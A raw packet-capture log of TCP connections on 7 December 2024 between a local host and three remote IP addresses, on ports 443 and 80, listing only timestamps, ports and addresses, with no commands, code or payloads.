Dec 7, 2024 18:26:59.324919939 CET	49827	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:59.324956894 CET	443	49827	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:59.325018883 CET	49827	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:59.325201035 CET	49827	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:59.325215101 CET	443	49827	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:59.348752022 CET	443	49823	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:59.352536917 CET	443	49823	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:59.352633953 CET	49823	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:59.352777958 CET	49823	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:59.352777958 CET	49823	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:59.352802038 CET	443	49823	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:59.352813005 CET	443	49823	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:59.356511116 CET	49828	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:59.356563091 CET	443	49828	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:59.356637001 CET	49828	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:59.356787920 CET	49828	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:59.356800079 CET	443	49828	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:59.407768965 CET	443	49824	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:59.408153057 CET	49824	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:59.408170938 CET	443	49824	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:59.408607006 CET	49824	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:59.408612967 CET	443	49824	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:59.427716970 CET	443	49825	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:59.428071022 CET	49825	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:59.428088903 CET	443	49825	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:59.428505898 CET	49825	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:59.428512096 CET	443	49825	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:59.841752052 CET	443	49824	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:59.844923973 CET	443	49824	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:59.845012903 CET	49824	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:59.845055103 CET	49824	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:59.845077038 CET	443	49824	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:59.845086098 CET	49824	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:59.845092058 CET	443	49824	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:59.847480059 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:59.847564936 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:59.847806931 CET	49829	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:59.847866058 CET	443	49829	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:59.847940922 CET	49829	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:59.848072052 CET	49829	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:59.848084927 CET	443	49829	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:59.849781990 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:59.861793041 CET	443	49825	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:59.864741087 CET	443	49825	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:59.864806890 CET	49825	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:59.864840031 CET	49825	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:59.864840031 CET	49825	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:59.864855051 CET	443	49825	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:59.864865065 CET	443	49825	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:59.867237091 CET	49830	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:59.867275000 CET	443	49830	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:59.867347956 CET	49830	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:59.867491007 CET	49830	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:59.867501020 CET	443	49830	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:59.969640970 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:27:00.238348007 CET	443	49826	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:00.238943100 CET	49826	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:00.238956928 CET	443	49826	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:00.239799976 CET	49826	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:00.239804983 CET	443	49826	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:00.301392078 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:27:00.301453114 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:27:00.305047989 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:00.425029039 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:00.425147057 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:00.425345898 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:00.545263052 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:00.678288937 CET	443	49826	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:00.681351900 CET	443	49826	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:00.681406021 CET	443	49826	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:00.681427002 CET	49826	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:00.681456089 CET	49826	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:00.681509972 CET	49826	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:00.681520939 CET	443	49826	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:00.681533098 CET	49826	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:00.681538105 CET	443	49826	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:00.702013969 CET	49832	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:00.702076912 CET	443	49832	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:00.702166080 CET	49832	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:00.702301025 CET	49832	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:00.702311993 CET	443	49832	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:01.045433044 CET	443	49827	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:01.045984983 CET	49827	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:01.046051025 CET	443	49827	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:01.046435118 CET	49827	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:01.046452999 CET	443	49827	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:01.077328920 CET	443	49828	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:01.077893972 CET	49828	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:01.077928066 CET	443	49828	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:01.078325987 CET	49828	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:01.078330994 CET	443	49828	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:01.480715990 CET	443	49827	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:01.483325958 CET	443	49827	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:01.483402967 CET	49827	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:01.483514071 CET	49827	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:01.483514071 CET	49827	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:01.483563900 CET	443	49827	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:01.483596087 CET	443	49827	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:01.486135006 CET	49833	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:01.486190081 CET	443	49833	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:01.486248970 CET	49833	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:01.486398935 CET	49833	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:01.486419916 CET	443	49833	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:01.511265993 CET	443	49828	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:01.515155077 CET	443	49828	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:01.515206099 CET	443	49828	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:01.515233994 CET	49828	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:01.515280008 CET	49828	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:01.515358925 CET	49828	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:01.515379906 CET	443	49828	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:01.515389919 CET	49828	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:01.515396118 CET	443	49828	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:01.517987967 CET	49834	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:01.518043041 CET	443	49834	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:01.518132925 CET	49834	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:01.518291950 CET	49834	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:01.518305063 CET	443	49834	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:01.577007055 CET	443	49829	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:01.577461958 CET	49829	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:01.577495098 CET	443	49829	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:01.577999115 CET	49829	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:01.578018904 CET	443	49829	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:01.590769053 CET	443	49830	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:01.591120958 CET	49830	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:01.591156960 CET	443	49830	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:01.591526031 CET	49830	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:01.591535091 CET	443	49830	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:01.781627893 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:01.781732082 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:01.781778097 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:01.781790018 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:01.781817913 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:01.781841993 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:01.782077074 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:01.782093048 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:01.782104015 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:01.782120943 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:01.782141924 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:01.782707930 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:01.782721996 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:01.782733917 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:01.782762051 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:01.782773018 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:01.783334017 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:01.783385038 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:01.901813030 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:01.901885033 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:01.902014971 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:01.902057886 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:01.973859072 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:01.973937988 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:01.974045992 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:01.974088907 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:01.978041887 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:01.978091002 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:01.978322983 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:01.978368998 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:01.986372948 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:01.986427069 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:01.986494064 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:01.986535072 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:01.994755983 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:01.994812965 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:01.994888067 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:01.994931936 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.003211021 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.003271103 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.003439903 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.003485918 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.011562109 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.011610985 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.011703968 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.011749029 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.020030022 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.020096064 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.020184994 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.020231962 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.026684046 CET	443	49830	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:02.028317928 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.028369904 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.028506041 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.028557062 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.030347109 CET	443	49830	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:02.030417919 CET	49830	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:02.030492067 CET	49830	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:02.030508041 CET	443	49830	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:02.030519962 CET	49830	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:02.030525923 CET	443	49830	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:02.033019066 CET	49835	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:02.033063889 CET	443	49835	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:02.033133030 CET	49835	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:02.033263922 CET	49835	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:02.033274889 CET	443	49835	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:02.036812067 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.036865950 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.036870003 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.036911011 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.045106888 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.045190096 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.045212030 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.045258999 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.052772999 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.052828074 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.052903891 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.052952051 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.166052103 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.166141033 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.166264057 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.168637037 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.168699980 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.168746948 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.168811083 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.173562050 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.173610926 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.173964024 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.174010992 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.178590059 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.178652048 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.178817034 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.178864002 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.183690071 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.183742046 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.183799982 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.183840990 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.188477039 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.188534021 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.188602924 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.188647985 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.193317890 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.193382025 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.193432093 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.193476915 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.198091984 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.198159933 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.198319912 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.198368073 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.202855110 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.202924967 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.203015089 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.203063965 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.207699060 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.207763910 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.207957983 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.208003998 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.212486029 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.212546110 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.212878942 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.212923050 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.217319965 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.217382908 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.217425108 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.217466116 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.222115993 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.222177029 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.222357988 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.222409010 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.226993084 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.227046967 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.227152109 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.227202892 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.231707096 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.231755972 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.231813908 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.231867075 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.236493111 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.236547947 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.236596107 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.236639977 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.241337061 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.241390944 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.241440058 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.241485119 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.246154070 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.246211052 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.246365070 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.246423960 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.250955105 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.251013041 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.251135111 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.251183033 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.255754948 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.255810022 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.255944967 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.255991936 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.260601044 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.260649920 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.358274937 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.358345985 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.358495951 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.358544111 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.360291004 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.360347986 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.360392094 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.360443115 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.364340067 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.364393950 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.364540100 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.364584923 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.368359089 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.368410110 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.368832111 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.368879080 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.372360945 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.372407913 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.372973919 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.373032093 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.376241922 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.376286983 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.376353979 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.376399994 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.380021095 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.380072117 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.380213022 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.380258083 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.383673906 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.383725882 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.383744955 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.383789062 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.387203932 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.387268066 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.387371063 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.387422085 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.390857935 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.390924931 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.391216040 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.391268015 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.394316912 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.394376993 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.394419909 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.394460917 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.397964954 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.398042917 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.398469925 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.398525000 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.401386023 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.401447058 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.401499033 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.401534081 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.405086040 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.405144930 CET	49831	80	192.168.2.7	185.215.113.16
